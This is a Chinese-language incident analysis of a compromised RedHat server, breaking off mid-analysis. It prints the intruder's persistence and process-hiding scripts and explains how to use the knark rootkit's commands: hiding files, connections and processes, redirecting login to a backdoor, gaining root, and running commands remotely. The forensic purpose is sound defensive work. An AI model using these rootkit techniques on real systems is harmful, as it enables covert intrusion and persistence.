歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> 分析入侵者的過程和步驟

分析入侵者的過程和步驟

日期:2017/2/27 9:37:49   编辑:更多Linux

一、意外       時間:2001-3-11下午       地點:某台RedHat Linux機器:     #uname -a   Linux *.*.cn.net 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686unknown       俺習慣性地先進到/etc/rc.d/init.d,看了一下,馬上發現異狀:     #ls -la   ……   -rwxr-xr-x 1 root root 2775 Mar 26 1999 netfs   -rwxr-xr-x 1 root root 5537 Mar 3 21:23 network   -rwxr-xr-x 1 root root 2408 Apr 16 1999 nfs   ……     二、初步檢查       明顯是個新手干的嘛,network文件被人動過了,咱們用stat命令看看先:     #stat network   File: "network"   Size: 5537 Filetype: Regular File   Mode: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)   Device: 3,1 Inode: 269454 Links: 1   Access: Sun Mar 11 10:59:59 2001(00000.05:53:41)   Modify: Sun Mar 4 05:23:41 2001(00007.11:29:59)   Change: Sun Mar 4 05:23:41 2001(00007.11:29:59)       最後被人改動的時間是3月4號的凌晨。讓我們來看看他往文件裡加了什麼吧:     #cat network   ……   /usr/lib/libdd.so.1       就是這麼一句,加在文件末尾,看來的確是手段不甚高明。瞧瞧這是個什麼文件先     #file /usr/lib/libdd.so.1   /usr/lib/libdd.so.1: ELF 32-bit LSB executable, Intel 80386,version 1,   dynamically linked (uses shared libs), not stripped       哦,是個二進制的可執行文件,執行下strings看是否眼熟     #strings /usr/lib/libdd.so.1   /lib/ld-linux.so.2   __gmon_start__   libc.so.6   system   __deregister_frame_info   _IO_stdin_used   __libc_start_main   __register_frame_info   GLIBC_2.0   PTRh   /boot/.pty0/go.sh <--------這條信息看上去比較有趣       哦,這就簡單了嘛,俺看看這裡面的路徑:     #cd /boot/.pty0   #cat go.sh   #!/bin/bash   f=`ls -al /boot grep .pty0`   if [ -n "$f" ]; then   cd /boot/.pty0   ./mcd -q   cd mech1   ./mech -f conf 1>/dev/null 2>/dev/null   cd ..   cd mech2   ./mech -f conf 1>/dev/null 2>/dev/null   cd ..   cd mech3   ./mech -f conf 1>/dev/null 2>/dev/null   cd ..     /sbin/insmod paraport.o 1>/dev/null 2>/dev/null   /sbin/insmod iBCS.o 1>/dev/null 2>/dev/null   ./ascunde.sh   fi       有點暈,看不明白mcd、mech這些東西是干嘛用的,再看一下下一個腳本是什麼:     #cat ascunde.sh     #!/bin/bash   for proces in `/bin/cat /boot/.pty0/hdm`; do   P=`/sbin/pidof $proces`   if [ -n "$P" ]; then   killall -31 $proces 1>/dev/hdm 2>/dev/hdm   fi   done   for port in `/bin/cat /boot/.pty0/hdm1`; do   ./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm   done   for Director in `/bin/cat /boot/.pty0/hdm2`; do   ./hidef $director 1>/dev/hdm 2>/dev/hdm   done       看到這裡,事情開始有趣了,這似乎不是一個三流的scriptkiddle干的活嘛,打個包拖回來先,於是俺     #cd /boot   #ls -la   total 2265   drwxr-xr-x 3 root root 1024 Mar 11 03:01 .   drwxr-xr-x 21 root root 1024 Mar 2 03:37 ..   lrwxrwxrwx 1 root root 19 Sep 26 1999 System.map ->System.map-2.2.5-15   -rw-r--r-- 1 root root 186704 Apr 20 1999 System.map-2.2.5-15   -rw-r--r-- 1 root root 512 Sep 26 1999 boot.0300   -rw-r--r-- 1 root root 4544 Apr 13 1999 boot.b   -rw-r--r-- 1 root root 612 Apr 13 1999 chain.b   -rw------- 1 root root 9728 Sep 26 1999 map   lrwxrwxrwx 1 root root 20 Sep 26 1999 module-info ->module-info-2.2.5-15   -rw-r--r-- 1 root root 11773 Apr 20 1999 module-info-2.2.5-15   -rw-r--r-- 1 root root 620 Apr 13 1999 os2_d.b   -rwxr-xr-x 1 root root 1469282 Apr 20 1999 vmlinux-2.2.5-15   lrwxrwxrwx 1 root root 16 Sep 26 1999 vmlinuz ->vmlinuz-2.2.5-15   -rw-r--r-- 1 root root 617288 Apr 20 1999 vmlinuz-2.2.5-15       咦,事情更有趣了……居然沒有看到.pty0的目錄     #cd .pty0  #ls -laF   total 1228   drwxr-xr-x 3 root root 1024 Mar 11 03:01 ../   -rwxr-xr-x 1 root root 345 Mar 3 21:23 ascunde.sh*   -rwxr-xr-x 1 root root 12760 Mar 3 21:23 dec2hex*   -rwxr-xr-x 1 root root 13414 Mar 3 21:23 ered*   -rwxr-xr-x 1 root root 358 Mar 7 19:03 go.sh*   -rwxr-xr-x 1 root root 3872 Mar 3 21:23 hidef*   -rw-r--r-- 1 root root 956 Mar 3 21:23 iBCS.o   -rw-r--r-- 1 root root 524107 Mar 7 18:40 m.tgz   -rwxr-xr-x 1 root root 656111 Mar 3 21:23 mcd*   drwxr-xr-x 4 root root 1024 Mar 7 19:00 mech1/   drwxr-xr-x 4 root root 1024 Mar 9 19:50 mech2/   drwxr-xr-x 4 root root 1024 Mar 9 19:20 mech3/   -rwxr-xr-x 1 root root 12890 Mar 3 21:23 nethide*   -rw-r--r-- 1 root root 10948 Mar 3 21:23 paraport.o   -rw-r--r-- 1 root root 522 Mar 3 21:23 ssh_host_key   -rw------- 1 root root 512 Mar 11 04:16 ssh_random_seed   -rw-r--r-- 1 root root 677 Mar 3 21:23 sshd_config       看來是加載了某個lkm了,比較討厭。     #/sbin/lsmod   Module Size Used by   nfsd 150936 8 (autoclean)   lockd 30856 1 (autoclean) [nfsd]   sunrpc 52356 1 (autoclean) [nfsd lockd]   3c59x 18920 1 (autoclean)       這些是正常的lkm麼?前三個模塊跟rpc有關,不知開了哪些rpc服務     #/usr/sbin/rpcinfo -p localhost   program vers proto port   100000 2 tcp 111 rpcbind   100024 1 tcp 664 status   100011 1 udp 673 rquotad   100005 3 tcp 695 mountd   100003 2 udp 2049 nfs   100021 3 tcp 1024 nlockmgr       原來如此,難怪會被入侵,該開的全開了。不過也證明了nfsd,lockd,sunrpc這三個模塊沒問題了。       再來看看網卡吧,3c59x是網卡的驅動模塊。     #/sbin/ifconfig -a   /sbin/ifconfig -a   lo Link encap:Local Loopback   inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0   UP LOOPBACK RUNNING MTU:3924 Metric:1   RX packets:380640 errors:3374 dropped:0 overruns:0   TX packets:0 errors:0 dropped:0 overruns:380640     eth0 Link encap:10Mbps Ethernet HWaddr 00:10:5A:63:5B:05   inet addr:*.*.*.* Bcast:*.*.*.255 Mask:255.255.255.0   UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1   RX packets:71144611 errors:820101 dropped:0 overruns:0   TX packets:0 errors:0 dropped:0 overruns:436037129   Interrupt:10 Base address:0xe400     #dmesggrep eth0   eth0: 3Com 3c905B Cyclone 100baseTx at 0xe400, 00:10:5a:63:5b:05,IRQ 10   eth0: Setting promiscuous mode.   device eth0 entered promiscuous mode       看來這些模塊都是正常的,但比較狠的就是——device eth0 enteredpromiscuousmode——看來這入侵者架了sniffer開聽了,但關鍵是現在這個入侵者加載了個俺看不到的家伙,有些暈了……咦,對了,看看文件名先……     三、模塊介紹       nethide?似乎有點印象……好吧,到俺的一堆破爛裡找找……咦,找到一篇knarkhacking的文章,裡面有提到nethide,先當下一個來玩玩吧,有個版本號為knark-0.59的,是對LinuxKernel 2.2的,行……咱們先看看這是什麼樣的內核模塊:       除了taskhack.c之處,所有這些文件都是基於knark.o模塊的正確加載。       hidef用來隱藏你的文件或者目錄,你可以建立一個目錄,比如/boot/.pty0,然後鍵入./hidef/boot/.pty0於是這這個目錄便被隱藏起來,並且連du之類的命令也不能找出它來,同樣的,子目錄下的任何文件也一樣地被藏得天衣無縫       ered用來重定向執行某個程序,比如說,你把一個bindsh*ll 的程序拷到/boot/.pty0/bindsh*ll , 然後可以用./ered /bin/ls/boot/.pty0/bindsh*ll 這樣的命令,將ls重定向到bindsh*ll , 當然,這樣的話,ls是沒變,但已經不能正確執行了。如果要清除所有的命令重定向,可以鍵入./ered -c nethide用來隱藏/proc/net/tcp及/proc/net/udp裡的連接進程——netstat就是從這裡面獲取信息並 輸出的,比如你要隱藏端口43981的連接信息,你必須鍵入:     ./nethide ":ABCD "        你就可以象grep-v一樣,過濾掉你不想讓人看到的網絡連接信息了,比如你用:     netstat -at        可能會有一行連接(ssh)的記錄是這樣的:     Proto Recv-Q Send-Q Local Address Foreign Address State   tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED       我們來看看/proc/net/tcp裡面的情況如何:     cat /proc/net/tcp        其中相應的行應該是這樣的:     local_address rem_address blablabla...   0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:0000000000000000       如果我們想隱藏關於127.0.0.1這個IP地址的所有信息,首先就必須把它“翻譯”成這種格式,127用十六進制表示是7F,0是00,1是01,於是地址就是0100007F,然後,再跟上端口22是0016,就是: 0100007F:0016了,於是我們鍵入:     ./nethide "0100007F:0016"      便可以將其隱藏得很漂亮了。       rootme 利用這個家伙,你可以不需要suid位,就能拿到root的權限喽:     ./rootme /bin/sh       你也可以用這種方式來運行:     ./rootme /bin/ls -l /root       這裡必須注意,要輸入完整的路徑名。       taskhack 可以改變運行著的進程的uid,euid,gid,egid等。     ./taskhack -alluid=0 pid       這可以把該進程所有的*uid(uid, euid, suid, fsuid)都改成0       你用:     ps aux grep bash   creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash       rexec 遠程執行命令,比如:     ./rexec www.microsoft.com haxored.server.nu /bin/toUCh /LUDER      knark還有一些其它的特性:       將信號31發送給某個進程,能夠在/proc裡將進程文件隱藏起來,這樣ps及top 都無法看到,比如:     #kill -31 pid      如果這個進程還有它的子進程,那麼也將一同被隱藏起來,所以如果你把你的sh*ll隱藏掉的話,所有你鍵入的進程將都是不可見的。如果你想再看看,被隱藏起來的進程藏在什麼地方的話,可以看/proc/knark/pids文件,這裡列出所有隱藏的家伙;) 闖入一個系統中,sniffer總是入侵者們用來擴大戰果的玩意兒,現在也存在許多小工具能夠偵測到網卡是否被置於混雜模式,但如果你加載了這個模塊,當人們在查詢SIOCGIFFLAGS的標志位時,IFF_PROMISC——接口為隨機(promiscuous)模式總是會被隱藏的。     這個包中還帶有另一個小工具modhide,這個模塊加載後,可以將最後加載至系統中的模塊從       模塊列表裡移除——也就是/proc/module裡面看不到它,示例如下:     #/sbin/insmod knark.o   #/sbin/lsmod grep knark   knark 6640 0 (unused)   #/sbin/insmod modhide.o   #lsmod grep knark       啥也沒有了       最重要的是,我們可以在/proc/knark/目錄——當然也是隱藏的——下面找到所有被藏起來的東西的資料。     四、分析       我們可以試著看看:     #cd /proc/knark/   #cat files   HIDDEN FILES   /boot/.pty0   /usr/lib/logem       這兩個目錄就是被藏起來的了;)     #cat nethides   HIDDEN STRINGS (without the quotes)   "CB0C"   "17"   ":0947"       這裡是三個netstat的隱藏。     #cat pids   EUID PID COMMAND   0 112 mcd   0 338 dittrich        兩個後門,一個bindsh*ll ,一個是偽裝成ssh的,進程都被隱藏了。     #cat redirects   REDIRECT FROM REDIRECT TO   /bin/login /usr/lib/logem/login2       可執行程序重定向,這裡是把login給重定向了。       現在很清楚了,黑客進來之後,首先是上傳上/usr/lib/logem下面的文件,包括幾個腳本及剛才分析的內核模塊,以及幾個後門,如login後門,ssh後門,然後修改了/etc/rc.d/init.d/network文件,加上/usr/lib/libdd.so.1行,以便系統啟動時自加載,(/etc/inetd.conf裡也被加上了一句echostream tcp nowait root /usr/sbin/echod/usr/sbin/echod,這樣入侵者可以遠程啟動後門及內核模塊,這裡的echod與libdd.so.1是同樣文件),這個程序指向/boot/.pty0/go.sh:       這裡面啟動了幾個irc的cliend端,連到國外的一些server上掛著——我不太理解為啥老外都這樣?我連上去whois了一下,結果如下:     Coitze is [email protected]_hacked_machine * Ask your girlfriend:>   Coitze on @#radio21pitesti @#mafiotzii   Coitze using McLean.VA.US.Undernet.Org CAIS Internet, US   Coitze End of /WHOIS list.       而go.sh又指向ascunde.sh,這裡是這樣的:     for proces in `/bin/cat /boot/.pty0/hdm`; do<-------  hdm文件裡有ncd、sh、mcd三行,也就是有這些東西是入侵者想隱藏的   P=`/sbin/pidof $proces`   if [ -n "$P" ]; then   killall -31 $proces 1>/dev/hdm 2>/dev/hdm <-------  發出kill-31的信號,調用加載的內核模塊隱藏進程fi   






Copyright © Linux教程網 All Rights Reserved